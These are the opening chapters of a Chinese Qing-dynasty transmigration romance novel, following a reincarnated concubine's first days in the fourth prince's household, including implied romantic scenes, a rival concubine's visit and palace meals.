《清穿之齐妃娘娘富贵荣华》
1. 李格格
康熙三十三年二月十二日,大吉,宜嫁娶。
花朝节这日,李芙儿穿着簇新的的暗红缎绣八团花卉夹褂,被一顶小轿从储秀宫抬到了乾东五所。
乾东五所是紧挨着的五个院落,除了太子之外,未成亲的阿哥们自后宫搬出后,都在此居住。
李芙儿凑到轿子旁,小心地扬起帘子的一角,打量着她未来不知道要住上多久的地方。
眼中是大片大片的朱红,为了来年太子迎娶太子妃,内务府的人铆足了劲干活,不仅太子居住的毓庆宫,就连伺候太子的格格们所住的东一所,也被精细地翻修了一遍。
但这与李芙儿无关。
李家家境寻常,是皇城根下最最普通的人家,李芙儿还记得她来自一个丰裕的年代,最开始面对这堪称艰苦地日子,她哇哇哭了好久,但没有办法,只能接受现实。
慢慢地长大,之前的事情逐渐忘得差不多,只偶尔能想起一些浮光掠影。
等到了年纪,作为正白旗的包衣的李家女儿,李芙儿参加了康熙三十三年的内务府小选,并被皇太后老人家看中,指给了四阿哥作为他的格格。
轿子慢悠悠地走,过了东一所后,又往前走了一小会儿,终于在第三所的门口。
“格格,到了。”抬着轿子的小太监放下轿子,打着千向李芙儿回话。
早在轿子放下的时候,她便已经将帘子的那个小角放下,轿帘掀开,只能见着一丽人双手交叠,端庄地压在褂子上的芙蓉花上,端庄沉肃。
李芙儿向小太监点头示意,随即将染着丹蔻的手搭在一旁候着的嬷嬷手上,直着背走下轿,头上金丝累凤的步摇纹丝不动。
这让在一旁暗自打量的辛嬷嬷悄悄点了点头。
是个规矩好的。
李芙儿不知辛嬷嬷的想法,她面上不露声色,按着储秀宫嬷嬷教的,用眼角的余光迅速将周边打量过去。
此时已经过了正月,开春的日子比之天寒地冻,已经暖了许多,不知躲哪儿的鸟儿飞出来觅食,啾啾着从屋顶掠过,朱红的宫门紧闭着,只旁边的侧门往里开着,李芙儿深吸一口气,抬眼望着琉璃瓦上跃动的碎金,慢慢地从打开的侧门走进了东三所。
在鸟儿的鸣叫中,李芙儿的背影消失在侧门里,没过多久,门轰然关上,隔绝了鸟儿的视线。
东三所是一个三进的院子,走过琉璃宫门,进了院子,迎面而来的是一个三屏峰照壁,转过影壁,南边为前殿,这是四阿哥日常起居之所。
李芙儿眼也没抬,对于四阿哥并不如何好奇,只随着嬷嬷转过配殿,入了后殿。
这与储秀宫看着没什么大区别,李芙儿在被皇太后指给四阿哥后,很是在储秀宫里住了大半个月,跟着嬷嬷学宫中的规矩,对储秀宫已经产生了些亲切感。
见着熟悉的场景,李芙儿略微觉着安心。
辛嬷嬷一路上都在悄然打量,见着李芙儿眼神清明,不该看的地方一点也没看,更是满意。
在宫中笨点不怕,就怕心思太大,这李格格有这般姿色,又是个能端的住的,眼见着要有大造化。
想到这,辛嬷嬷对着李芙儿更加热切起来,小心翼翼地扶着她走过夹道,到了后院的西厢房。
西厢房的厅堂里摆了一张酸枝木桌子,桌子上铺着红绸,上头满满当当放了十盘的菜,取一个十全十美的寓意。
这便是今日唯一能窥见的喜意。
李芙儿笑了笑,不去看那些已经凉透了,上头泛着白花花油脂的菜,随着嬷嬷走进内室,在百子千孙褥子上坐下。
“主子,四阿哥还在忙着读书,得晚些才能回来。”见着格格坐下,辛嬷嬷忙小声地回道。
李芙儿不动声色的点点头,从袖中摸出一个荷包,轻巧地塞到嬷嬷手中:“劳烦嬷嬷费心。”
辛嬷嬷掂量着手中荷包的重量,脸上笑意更重,她福着身子给李芙儿行了个礼:“主子在这儿先歇歇,奴婢给您找些东西垫垫。”
四阿哥还没有来,厅中酒席上的东西自是不能动,李芙儿望着辛嬷嬷离开的背影,不由感慨,离家时候,父母硬塞给她的银子,还是派上了用场。
李家虽然家境普通,但家中的大女儿入宫应选,当家的李文熚将家底掏了大半,全换成了小银锞子,给李芙儿带到宫中,让她少受些委屈。
李家人从上到下都没有什么野心,也没指望着家中女儿能够陪王伴驾,只求着不要被选为宫女,不进那不得见人的深宫,等回家了,再给姑奶奶找个好人家嫁了。
但事情并不如他们预想的那般顺利,尽管李芙儿行事中规中矩,但她的脸实在是过于出众,虽说祖上是汉人,却没有弱柳扶风的作态,秾丽极妍的脸一眼就被皇太后看中,指给了四阿哥胤禛,成为了四阿哥的一名侍妾。
听到这个旨意,李芙儿愣了一瞬,很快便恢复了平常心,既来之则安之,好歹不是宫女,吃不饱睡不好,就连睡姿都有要求。
想通了的李芙儿抱着小包袱便到了储秀宫,迅速地投入到如何成为一名合格的皇家侍妾培训中去。
等到嬷嬷们认为规矩学得差不多了,才翻着黄历找了个好日子,将李芙儿送到了四阿哥的寝宫。
李芙儿就这样在东三所的后殿里等啊等啊,从日上中天等到了夜幕低垂,院子外头的宫灯被宫人们点亮,星星点点的,将黑沉沉的院子照亮,眼见着就到了下钥的时刻。
肚子里垫了些饽饽,李芙儿不如何饿,她端坐在拔步床上,见着外头从明到暗,又被烛火照亮,半点也不着急。
反倒是被内务府指派来的两个宫女,脸上的神色已经是藏不住的着急。
毕竟,对面住着的那个宋格格,已经身怀六甲,仗着是第一个伺候四阿哥的人,时不时的凭着肚子将四阿哥请过去,若是自家主子的大好日子,也被宋格格截了胡,那多晦气。
宫女们的操心,李芙儿半点不知,她算着时辰,琢磨着四阿哥这个点还没有过来,是不是可以卸下妆容,熄灯睡觉了。
然而事与愿违,这个念头刚出来,外头便传来不小的动静。
宫女早已将帘子高高
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扬起,只见一身姿挺拔的男子被扶着走了进来,远远的便能闻到身上的酒味。
李芙儿连忙起身,福身行礼,胤禛挥了挥手止住了李芙儿的礼,脚下踉跄几步。
李芙儿一惊,连忙站起身,上前几步将那青年接住,随着青年进来,整个院子灯火通明,璀璨耀目,煌煌如白昼。
趁着这透亮的灯火,李芙儿状若不经意地抬眸,悄悄地打量走进来的男子。
只见这男子年岁不大,身姿挺拔,清俊的面容上犹带着微不可察的青涩,举手抬足间,全是少年人的意气风发。
长得,真是秀色可餐。
李芙儿暗暗满意,虽说她入四阿哥的府邸成为侍妾已是事实,但四阿哥若是长得太丑,她担心晚上睡觉都会做噩梦。
好在,眼前的四阿哥实在俊美,即使他没有皇亲贵胄的身份,李芙儿也不是不愿意与他一晌贪欢。
眼前人心中所想,胤禛全然不知,他见着李芙儿透白的脸上逐渐漫上红晕,将本就艳丽的面容染得更加瑰丽,简直到了惊心动魄的程度。
这是皇玛嬷指给我的人。
一想到这,胤禛朦胧的醉眼瞬间深邃,阵阵热意涌上喉头,他喉结翻滚,不自觉地吞咽两下,只觉得浑身的酒气都向一处涌去。
“安置吧。”
胤禛咳嗽两声,状似镇定地说道。
李芙儿看着张开双手,等着换衣裳的胤禛,深吸口气,站到他身前,按照储秀宫里嬷嬷所教,慢慢地解着眼前的扣子。
碧玉镶金扣牢牢的将衣服锁紧,李芙儿凑上前去,专心致志地解着扣子,清甜地呼吸清浅地喷在胤祯的脖颈之间,他喉结滚动地更加明显,正在这时,李芙儿将第一个扣子解开,柔弱无骨地手轻轻地拂过喉结,感受到这份滚动,不由用力抚摸几下。
胤禛抬手,一把将李芙儿的手握住,青筋毕露的大手轻易地便将另一只手拢在手心,柔软而滑腻的手感令胤禛倒吸一口气,他再也忍不住情热,空着的手捂住李芙儿水润的眼眸,炙热的鼻息喷在李芙儿的脸上,鼻尖摩挲着,扣子上的红宝石砸在金砖上,噼哩之声不断。
暗红缎绣八团花卉夹褂逶迤在地,百子千孙床帐很快便放了下来,拔步床里娇啼声声,帐幔汹涌起伏,一波未停一波又起,久久不停,直叫外头候着的宫人红了耳垂。
直到天边弯弯的峨眉月悄然隐没,夜色变得格外深沉,屋子里的动静才停歇下来,传来唤水之声。
辛嬷嬷忙指挥着小宫女将茶房里碳炉上的热水兑好,将黄铜錾鸳鸯铜盆与帕子送了进去。
正是春寒料峭之时,紧闭的门一推开,夜间的凉风悄然卷入,满屋子的旖旎之味瞬间散去,里间床上帐幔掀开,骨节分明的大手伸出。
“放下吧。”沙哑的嗓音犹带着餍足之意,胤禛懒洋洋地令人将帕子与铜盆放下,又令宫女们退下,这才掀开锦被,走下床,将帕子打湿,帮李芙儿擦拭起来。
擦着擦着,感受着手下柔滑的肌肤,胤禛又心猿意马起来,刚刚停下的动静,重又闹了起来。
2. 春意
上弦月悄然隐没,天边无月无星,暗沉沉一片,下钥的宫门悄无声息打开,当值的宫人们蹑手蹑脚地走过,没有弄出半点动静。
已是寅时。
胤禛从睡梦中醒来,自他进学以来,数年如一日的在这个时辰醒来,随意用几口饽饽便去尚书房读书,一年里只有寥寥几天的假期,还得是皇太后以及皇帝的圣寿这般要事,后院添人这种小事,远没到放假地步。
帐子被掀起,暧昧的暖香环绕,李芙儿眼下泛青,缩在被子里睡得正香,露出的肩膀上,大片大片的红痕,被比牛乳还白的肌肤一衬,更添秾艳。
胤禛不由软了心肠。
按着规矩,李氏应当起身伺候胤禛洗漱,穿衣,但李芙儿睡得实在过于香甜,芙蓉面上尤带红晕,胤禛顿了顿,放轻了起身的动作。
锦被掀动间,外头的冷风倏地灌了进来,李芙儿身子轻颤,雪白的肌肤上汗毛竖起,迷蒙间,她循着不远处的热源翻滚过去,感受到热源欲要远离,李芙儿伸出手,死死将其搂住。
感受到怀里动作止住,李芙儿蹭了蹭,心满意足地又睡了过去。
胤禛正准备离开,却突然感觉怀中多了一个人,柔若无骨地手抱着他的腰,双腿也紧紧缠着他的大腿,肌肤相贴,接触的地方骤然热了起来。
胤禛心肠软了下来,他摸着李芙儿的脸,弯下腰,在她耳朵旁轻声哄着:“乖,将爷放开。”
李芙儿哼哼唧唧,前一天晚上闹得太晚,睡得迷迷糊糊的人已经忘了她在何处,还以为是家里调皮的幼妹,她反手搂住对方脖子,闭着眼摸索着,胡乱亲了上去,含糊着说道:“别闹。”
喉结滚动,胤禛眸色变得暗沉,他再如何稳重,也是血气方刚的少年人,一大早被人这么勾着,难免又起了兴致。
但,时辰已经不早,现在由不得他再胡闹。
胤禛手臂上青筋迸起,他攥紧拳头,压低声音,示意已经在帐子外候着的苏培盛取个手炉过来。
没多久,暖洋洋、热烘烘的葡萄花鸟纹银手炉便被递到了帐子里,透过掀开的那道缝隙,前一夜的融融春意还是露了出来,苏培盛头压得低低的,眼皮也不敢抬起,唯恐不小心冒犯了贵人。
胤禛小心地将手炉塞进李芙儿的手中,好容易才从她的怀抱中脱身,却只见李芙儿抱着手炉,翻了个身,依旧睡得香甜。
真是个小没良心的。
胤禛恨恨想着,若非时辰晚了,多少要将李芙儿摇醒,再折腾一遭。
心里这般想着,胤禛的动作却放得格外轻,摆手示意去侧间收拾,免得惊了李芙儿的好梦。
这一早上的特例早就让苏培盛惊讶不已,四阿哥也不是刚碰女色的愣头青,东边厢房还有一个怀着身孕的宋格格,可从未见过主子对她上心多少。
这位李格格,看样子是有大造化的,苏培盛收起惊讶,琢磨着等主子去了尚书房后,要对下人好生敲打一番,万不能怠慢。
心中盘算,却丝毫没有耽误苏培盛手上伺候人的功夫,没多久,胤禛便收拾妥当,领着人往乾清宫东侧的尚书房而去。
春日早上格外寒冷,深黑不见五指的宫道上,只有一行人手中的灯笼照亮了前路。
从东三所到尚书房,距离不甚远,没多久,胤禛便带着一身的寒意,入了尚书房的门。
其他的阿哥已经坐好,在温习前一日的功课了。
胤禛不自在的咳一声,迈步走了进去,却只见和他一道养在景仁宫的八阿哥胤禩,冲着他挤眉弄眼。
维持着兄长的威严,胤禛瞪了胤禩一眼,却只换来胤禩拖着嗓子的打趣:“四哥,人逢喜事精神爽啊。”
“先生今日要检查大字,你写得怎样。”胤禛冷着脸说道,胤禩瞬间苦了脸,他生性聪敏,唯在书法上,较兄弟们弱了不少,每日练大字的课业,也是能拖便拖,再也没有了打趣的心思,祈祷着先生心情好,放过他一马。
尚书房里的这段插曲,李芙儿并不知晓。
得了苏培盛的叮嘱,东三所伺候的宫人们,无人去唤醒李芙儿,等她睡够了,饥肠辘辘地醒来之时,已是日上中天。
伸了个懒腰,李芙儿只觉着神清气爽,她掀开帐子,望着熟悉又陌生的屋子,眨巴着眼反应过来,她这是从储秀宫搬了出来,正式入了四阿哥的后院。
“来人。”前一天晚上的衣服早就扔了一地,早已不知去了哪里,屋子里无人守着,李芙儿只能试探着唤人,声音一出口,李芙儿瞬间脸红,她的嗓子沙哑而柔媚,一听便知前一夜的闹腾。
“格格。”守在门外的宫女连忙鱼贯而入,捧着铜盆的、帕子的、衣裳的,如此种种,不一而足。
李芙儿坐直了身子接过崭新的衣裳,从帐子里伸出来的胳膊丰润而白皙,遍布着红痕,连成一片。
“什么时辰了?”一边穿着衣裳,李芙儿一边问着,她这屋子里没有西洋的座钟,只能估摸着不早了,却不知晓具体是什么时候。
“回主子,巳时了。”为首的宫女福了福身子,低眉敛目回话。
“你叫什么名字?”李芙儿见这人比其她宫女都打了几岁,神态谦和却又庄重,便知是宫中给她的掌事宫女,忙将她扶起。
“奴婢名为冬梅。”那宫女不等李芙儿询问,继续说道:“是三十年入宫的宫女,自入宫后便在膳房服侍,承蒙主子厚爱,这次被派来您这儿伺候。”
是个机灵的,李芙儿心中满意,作为四阿哥后院里伺候的小格格,她没想着内务府能给她多了不得的人,能够有个看懂颜色的,便知足了。
李芙儿也是入了储秀宫学规矩才知道,模糊的记忆里,那些后妃们下毒打胎甚至杀人都是不存在的,万岁爷最讲究规矩,后宫晋升按部就班,身世背景、入宫年限、孕育子嗣全都比宠爱重要。
更何况,四阿哥的后院才这么三瓜两枣,另一个格格还怀着身孕,有心争宠也有心无力。
因此李芙儿半点不
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担心发生宫女被收买,对她不利的事情。
手炉里的温度已经渐渐低了下来,李芙儿递给冬梅,让她登记造册,无论四阿哥是否会将这手炉要回去,既然现在在她屋子里,就得收拾明白,万不能出现说不清的事情,毕竟,胆大的太监拿着宫中东西偷偷出去卖,这事可没少发生过。
冬梅将手炉在博古架上搁好,又拿钥匙取了册子,在上头勾画了几笔,小选入宫的宫女也是好人家的女儿,家有余力的,多会送去认几个字。
李芙儿见冬梅写字,更是满意,日后她这屋子里的事情,更能交给她了。
“主子,是否传膳?”冬梅去造册的时候,在外间候着的小太监弯着腰,掐着嗓子请示。
摸着空空的腹肠,李芙儿只觉着饥饿不已,忙应了,望着那小太监,犹豫着问道:“你...”
“小福子,主子,奴才名叫小福子。”那小太监年岁不大,却十足的机灵,见李芙儿犹豫,忙报上姓名。
“今儿个天色不早了,小福子你拿着这些钱去膳房。”在储秀宫的时候,李芙儿已经见识过了宫中的做派,不欲让小福子为难,从钱匣子里拿出一串铜钱,让他前去打点。
反正这钱,也是她入宫时候内务府送来的赏赐,够她在宫中过上三年五载日子。
至于以后,反正她每个月都有月例,只要不求着那些昂贵的珠宝衣裳,正常日子是能过下去的。
小福子忙不迭接了,心里也安心许多,这主子瞧着是个好性子的,能分到她屋子里,是他的运气。
小福子心气十足,宫中不让奔跑,他两只腿都要走出残影,飞快到了膳房,用铜钱开道,将东三所的分例取了出来。
有钱能使鬼推磨,在哪里都是不变的道理,没多久,六小碟菜便摆在了侧屋的桌子上,摸上去还泛着温意。
那六小碟菜也不如何珍奇,不过是些牛肉、羊肉罢了,最稀罕的,也不过是那一碟子脆生生的菘菜,但品相上比储秀宫里那黏糊糊、软趴趴的炖菜好多了。
也不知是铜钱的关系,还是知晓她伺候了主子。
李芙儿不去想里头的复杂事情,她家就是普通人家,在宫中既没有根基,也没有人脉,想太多也没用,不如过好一日算一日,反正天塌下来有高个子顶着。
侍膳的宫女秋菊上前两步,便要将碟子里的菘菜夹去,那崧菜格格已经看了好几眼了。李芙儿却笑着止住了她的动作:“我没那么大的规矩,用膳时无需伺候。”
说完,便自己举着筷子,夹起碟子里的事物,香喷喷吃了起来,没多久,满桌子的东西一扫而空。
冬梅、秋菊连连往桌子上打量,唯恐主子腹胀。
李芙儿却全不知身旁宫女的担忧,她正是长身体的年纪,每碟菜每两筷子便没了,莫说腹胀,她全部吃完后,甚至觉着意犹未尽。
恋恋不舍地望着小福子将膳盘撤下,突然听见门外有动静传来。
“主子,宋格格来了。”
3. 擦洗
宋格格,便是胤禛府中另一个侍妾了,在储秀宫的时候,许是为了结个善缘,嬷嬷将四阿哥后院的情况细细地分说过一遭。
四阿哥从小长在景仁宫,与生母德妃娘娘不甚亲近,贵妃娘娘没了后,也没人操心他后院的事情,不过是到了年纪,由内务府挑选了身家清白的女子,送来教导他知晓人事罢了。
因此在李芙儿之前,胤禛的后院中只有宋格格这一个侍妾,但不知为何,四阿哥对她一直都是淡淡的,十天半个月都不见得找她一次。
好在宋格格运气好,在这般稀疏的宠爱下,也很快就怀了身孕,在四阿哥的后院站稳了脚跟。
此时她突然过来,不知所为何事。
但李芙儿也不能将人晾在外头,否则一个轻狂的名声是少不了的。
“快,快将宋格格请进来。”李芙儿一叠声地招呼着,又从椅子上站起来,亲往门口而去。
刚走两步,李芙儿脚步一顿,腰又酸、腿又疼,隐秘处隐约也传来不适感,浑身上下哪哪都不舒服,前儿个晚上实在是闹得太过了。
好在,按着嬷嬷说的四阿哥性子,冷肃自持,就不是个爱女色的,想必她今儿个能好好歇歇,缓过劲来。
脑子里思绪纷杂,却没有止住李芙儿的脚步,她不动声色地揉了揉腰,三两步走到门前,便见着被宫女和嬷嬷簇拥着的宋格格。
这宋格格较胤禛还大上两岁,容貌端正,身材丰腴,尽管挺着个大肚子,动作却分毫不乱,从头发丝到脚底,都透着规矩两个字。
宋格格在宫女的搀扶下,艰难地抬起腿,迈过了门槛。
李芙儿亲亲热热地笑着:“姐姐来了,我这儿蓬荜生辉,快请上座。”
扭头又一叠声地让冬梅取茶点过来。
宋格格见着李芙儿笑意盈盈,却恨不得离她八丈远的样子,暗暗撇了撇嘴,是个奸滑的。
“论理我昨儿个就该过来,也好和你说说这儿的规矩,奈何我肚子不爽利,这才来晚了,还请妹妹不要放在心上。”宋格格靠在榻上,戴着玳瑁指甲的手,轻轻地抚摸着肚子,脸上的得意再掩饰不住。
来者不善,李芙儿眨眨眼,心里已经有了计较,她笑得更加亲热:“我初来乍到的,也不懂得太多,真想要个老成人指点,姐姐您愿意指教一二,实在是解了我的燃眉之急。”
宋格格脸色一僵,她比胤禛大两岁这个事一直就是她的心病,她疑心李芙儿是故意拿这事戳她肺管子,但李芙儿笑脸迎人,她又不好发作,只深吸口气,似不经意般地摸着肚子。
“既然妹妹这般说,我少不得拿个大,咱们这院子里人少事少,旁得倒也没甚,只一点,主子爷是最注重规矩,上下尊卑得分清弄明,不能乱了一点。”
李芙儿眨巴着眼,双手一拍,笑着看向宋格格:“姐姐不愧是老人,深知四爷的心意,这话正正好是昨儿个四爷和我交代过的,还请姐姐放心,我绝不会乱了规矩。”
宋格格气了个倒仰,她自入了四阿哥的后院便不得宠爱,在四阿哥面前更是兢兢业业,一个字也不敢多说,好不容易凭着肚子里的孩子,让四阿哥去她屋子里多待了几次,话也全围着孩子,从没有得到过四阿哥私下的叮嘱。
宋氏与李芙儿同是格格,本就没有高下之分,本想是仗着肚子里的孩子,给李芙儿个下马威,后院里不是西风压倒东风,就是东风压倒西风,不在李芙儿刚来时候划出道道,等她站稳了脚跟,可没那么容易。
但看这样子,李氏颇得四阿哥的宠爱,她就算一时压制住了,又有什么用。
想到这,宋格格一股气憋在胸口,就连肚子也隐隐作痛,她灰着脸看了李芙儿一眼,勉强笑着:“你知晓就好,我该说的也说完了,孩子又闹我了,就不在你这儿待,先回去了。”
李芙儿好像没有看到宋格格的变脸,依旧笑着,亲热地将她送出门。
宋格格住在李芙儿对面的厢房,没几步便回了屋子,等目送着她安稳地回去后,李芙儿这才让人将帘子放下,坐回榻上。
“主子。”秋菊和冬梅担心地看着李芙儿,宋格格的来者不善都看在眼里,唯恐主子坏了心情。
李芙儿却毫不在意,宋格格若是得宠,就不会与她虚张声势了,完全没必要为了她这几句话影响心情。
“哎呦,可别管什么宋格格木格格了,先让我躺躺。”揉着酸痛的腰,李芙儿半躺半靠在引枕上,惬意地叹了口气。
总算能歇歇了。
“主子。”冬梅望着李芙儿脸上的疲意,犹豫着提醒:“宫中白日不能躺着。”
呃…
李芙儿一僵,这规矩她在储秀宫自然学过,只不过没有教导嬷嬷盯着,她松懈了下来。
“好冬梅,你不说我不说,谁能知晓,你主子我腰都快折了,且让我歇会儿。”
李芙儿本就生得艳丽,一张脸如剥壳的荔枝般,莹润清透,此时眼下一层厚重的青紫,格外惹人怜惜。
冬梅被李芙儿这么一撒娇,忍不住心疼起来,忙将外头的等着的宫女太监挥退,亲自守在门外。
香炉吐雾,暖意融融,李芙儿陷在大红猩猩毡引枕中,本想闭目养养精神,却很快陷入了沉睡。
这一睡,便睡到了日暮西垂。
晚霞如火,从云中散出,将天边染得斑斓,夜风渐起,燃灯的宫女太监们围着墙根低头走过,宫道的油灯依次亮起,将宫道照地灯火通明。
不断有人从宫道经过,窸窸窣窣地声音隔着院子,传到了李芙儿耳旁。
“秋菊,什么时辰了?”李芙儿伸了个长长的懒腰,嗓子是还没睡醒的甜腻。
许久,却未听见回话。
掀开锦被,胡乱踩着绣鞋,李芙儿纳闷地走出梢间,却只见院子里伺候的下人跪了一地。
“啊!”李芙儿短促地惊呼在看见冷面坐着的胤禛时戛然而止。
怎么回事,不都说四阿哥最是清冷,在女色上颇为自制,怎么会连续两天来她的院子。
她白天还和宋格格信誓旦旦一定遵守规矩,晚上便被四阿哥抓了个正着,先不说被宋格格如何取笑,仅四阿哥这关,就不好过。
捂着砰砰直跳的胸,李芙儿笑得甜甜蜜蜜,惊喜不已:“爷,您来了!”
声音犹如含了蜜糖,将胤禛裹住。
冷心冷情的胤禛也软了几分心肠,他脸色稍缓,冷哼道:“爷不过来,还不知道你在宫中这般没有规矩。”
李芙儿是家中的大女儿,颇受父母宠爱,一听胤禛的语气,便知没有动真怒,她立即顺杆爬上,大着胆子挽上胤禛的手臂。
胤禛扭头瞪了李芙儿一眼,被她抱住的手臂却纹丝不动。
李芙儿瞬间心里有了底气,将脸靠在胤禛的肩上,娇嗔道:“若不是爷太…,我也不会这般…”
眼波流转,将剩下的话含糊裹住。
胤禛被李芙儿的眼神看得心中一晃,本就是血气方刚的年纪,听了李芙儿的赞,隐约的不虞早就散到了天外,心中只剩下得意。
罢了,李氏看着便是个娇弱的,也是他前一日没有节制孟浪了,李氏受不住他也是应当,不能为了这事苛责李氏。
想到这,胤禛的眼神彻底柔和了下来,他伸出手,带着厚茧的手摸上李芙儿的脸,顺着软腻的侧脸滑到脖子,轻轻地摩挲着。
这让李芙儿痒地直往胤禛怀里靠,笑得语不成调:“爷,别…”
衣物摩擦间,肌肤浅浅相触又分开,胤禛眼色变深,喉结不经意滚动几次。
感受到危险的气息,李芙儿僵在原地,慢慢地从胤禛的怀里退出来,讪笑着揉了揉酸痛的腰:“爷,您忙了一天,先用晚膳!”
胤禛意味不明地看了李芙儿一眼,在她心再次急跳之时,径直往屏风后走去。
苏培盛早便遣人送来热水,锦帕投在并蒂莲缠枝铜盆里,香胰子摆在一旁的松木架子上。
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前一天晚上闹得太晚,直接令人将热水送去了室内,这是胤禛第一次见到李芙儿的浴间,不由皱了皱眉,这里面的东西过于简陋,未免委屈了李芙儿。
李芙儿跟着转进屏风,见到的便是冷肃着脸的胤禛,她心头一跳,不知是哪里惹得这位爷不满,连忙笑着上前:“爷在外头一天也累了,妾帮您擦擦。”
宫中的阿哥,半天学文半天学武,谁也不能例外,一天下来,胤禛身上早就风尘仆仆,大汗淋漓,急需将身上擦洗一遍。
只见李芙儿将铜盆里的帕子拾起,拧干,白玉般的手搅动涟漪,那铜盆看着都富贵起来。
李芙儿试探地将帕子凑近胤禛,胤禛未往后避,无声默许了李芙儿的动作。
温热地帕子沾上脸,胤禛惬意地长叹口气,感受着脸上轻柔地力道,帕子顺着脸慢慢往下,到了被扣子牢牢箍住的脖颈,李芙儿凑上去,纤细地手指慢慢地解着八宝盘扣,神色专注而认真,清浅地呼吸似羽毛拂过,胤禛喉结不住滚动。
他眼神遽然变得深邃,骤然将李芙儿的手握住。
“啊,”李芙儿急促地惊呼很快止住,望着胤禛不耐地将脖子上的扣子大力扯开,钉地严严实实地扣子直往地上掉。
“你先出去。”胤禛从李芙儿手中接过帕子,粗哑着声音令她出去,再不出去,在这女儿香之下,他恐要失态,于礼不合。
宫中传言这位爷喜怒不定,还真不是瞎说,之前还好好的,突然便翻脸不认。
李芙儿腹诽着,但不要她伺候了,她也乐得轻松,忙屈膝行礼:“妾出去看看晚膳。”
胤禛幽深地望着李芙儿背影,纤细而袅娜,他喉结滚动地更加厉害,手中的帕子粗暴地擦着脖子,好像要用这个疼痛压制住什么,地上的扣子越来越多。
正房里挨着墙根放了一溜的陶盆,整个屋子里温暖如春,无一丝烟气,御膳房送来的晚膳被碗盖住,在桌子上摆的满满当当,烛火倒映在碗碟上,跳跃闪烁着。
秋菊为难地看着李芙儿:“主子,晚膳早便送了过来,这会儿味道许是差了。”
送膳太监过来时候,李芙儿正睡的香甜,秋菊与冬梅喊了数次,也没有将她唤醒,便只能将几道菜用盘子盖住保温,但时间久了,到底影响口感,四阿哥眼见着要在这边用膳,这些膳食呈上去,恐怕惹得他不满。
李芙儿闻言,将被牢牢盖着的菜掀开,手背摸着碟子背面试着温度,屋子里炭盆够多,盘中菜也没到变冷凝固的程度,只不过摸着温温呼呼的,菜也被汤汁泡得失了颜色。
若是李芙儿,这菜倒也就凑合过去了,毕竟在储秀宫时候,送来的膳食更差,然而里头那位爷可不是个好伺候的。
她皱着眉对吩咐:“让小福子拿着银子去膳房,点几个快手的菜,赶紧领过来。”
秋菊犹豫一瞬,这主子的钱匣子里就那么点银子,这个月月例还没到,真真是用一点少一点,御膳房那些人都是些贪心没够的,也不知道多少才填得满胃口。
但秋菊也知晓,四阿哥是他们一屋子的主子,这银子必须花,她狠心从钱匣子里拿了块大些的银锭子便要出去唤小福子。
“怎么了?”冷冷地声音从李芙儿耳旁传来,却是擦洗后换了身衣裳的胤禛走了过来,浓郁地檀香味飘过。
“爷,”李芙儿微微红了脸,她扭着手指,无措地说道:“这菜都囔了,没法吃了,我让人另去取些过来。”
胤禛听了哼笑道:“多大点事就为难成这样,爷在这里难道还能少了你吃的不成?”
“苏培盛,”胤禛扬声吩咐:“把我的分例领过来,再让御膳房捡着新鲜的,送几个菜过来。”
省了银子了!
李芙儿内心雀跃,看着胤禛的眼神能流出蜜来:“爷,您真好!”
“没出息的样!”胤禛轻斥。
李芙儿笑眯眯地抱住胤禛的手臂,叽叽喳喳地继续说着。
4. 缱绻
很快,御膳房便将热乎乎的膳食送了过来,李芙儿那几个例菜被飞快撤了下去。
胤禛不愧是阿哥,与他的分例比起来,李芙儿的晚膳只能用寒酸二字形容。
鸡鸭鱼肉被蒸煎炸煮,翻着花样送来,最让李芙儿喜爱的,是那嫩生生,绿油油的洞子菜。
这让隔三差五才能吃上白菜萝卜的李芙儿,眼中直放光,两只眼珠子盯着绿叶子移不开。
这洞子菜是特意在温泉庄子上栽出来的,颇费工夫,放在外头,一小把菜便能卖上一两银子,李家不过是最普通的人家,没多余的银钱去买,入了宫,李芙儿的分位又低,这种好东西更是轮不上她。
托胤禛的福,李芙儿来到这时代十几年了,第一次在冬日里见到鲜亮的叶子菜。
李芙儿眼神亮闪闪地看着胤禛:“爷,妾伺候您用膳。”
胤禛低头,见着侧着头,神态娇憨的李芙儿,手指一动,却很快止住,冷着声道:“这宫里这么多人,缺你一个伺候的?”
这是不用她服侍的意思?李芙儿看着胤禛笑意更盛,这主子看着虽然冷,却不是个苛刻的人。
按着储秀宫嬷嬷教的规矩,身为侍妾李芙儿得得在一旁布菜,但胤禛都发话了,李芙儿没有自找罪受的爱好,她欣然应了,随着胤禛入座。
等太监试过毒,觑着胤禛动了第一筷子后,李芙儿便拿起筷子,欢快地吃了起来。
叮!菜刚入口,李芙儿眼更亮了,她入宫这么天,这是她吃到味道最好的一顿。
入口便能辩出,这是小灶上特意炒出来的,与她大锅菜的味道截然不同。
特别是那道洞子菜,清甜可口,鲜嫩多汁,许久没有吃到新鲜叶子菜的李芙儿,吃得头都不抬,宫女布菜都险些没有跟上李芙儿进膳的速度。
一旁给胤禛布膳的苏培盛,使劲给李芙儿使眼色,眼皮都要抽筋了,却是媚眼抛给瞎子看。
天爷啊,这主子真不客气,说不要她伺候,就眼神都没给四阿哥分过一个,只顾自己吃得欢快,四阿哥这么讲究规矩的人,在他眼前如此放肆,失宠近在眼前了…
吧?
苏培盛原本笃定的想法,在见着胤禛眼中一闪而逝地笑意时,瞬间消失。
凭着他服侍这主子十来年的经验,此时的四阿哥心情绝对说不上差。
这还是最重规矩的四阿哥吗!这李主子真是了不得啊。
苏培盛撮着牙花子想着,以后要多关注这边几分。
要不说还是苏培盛了解胤禛呢,他看着李芙儿笑成月牙般的眼,感受着她周身散发的愉悦气息,只觉得这已经吃厌了的菜,都多了几分滋味,难得胃口大开,也跟着多用了不少。
等到李芙儿心满意足地放下筷子,就连胤禛都觉着有点撑了。
这样不好,胤禛悄悄揉着肚子,为自己缺少自制而后悔,宫中素来讲究惜福养生,夜间不宜多食,今儿个怎么就打破惯例,用了那么多。
懊恼之色从胤禛眼中一闪而逝,下一次必然不能如此放纵。
突然,柔腻细滑的手无声地地插入到胤禛手中,却是秋菊和冬梅领着伺候的下人端着托盘与铜盆过来,心情大好的李芙儿笑着挽起袖子,轻柔地握住胤禛的手,亲自帮他洁面净手。
吃饱喝足,李芙儿的气色愈发红润,纤细地手指轻巧地点在胤禛的手指,手背,撩起的水顺着手腕滑下,如一根羽毛,在胤禛心里拂过。
胤禛眼色更加深沉,他反手握住李芙儿的手,不让她受惊逃走,手上略微使力,李芙儿一顿,顺着力度扑到胤禛的怀里。
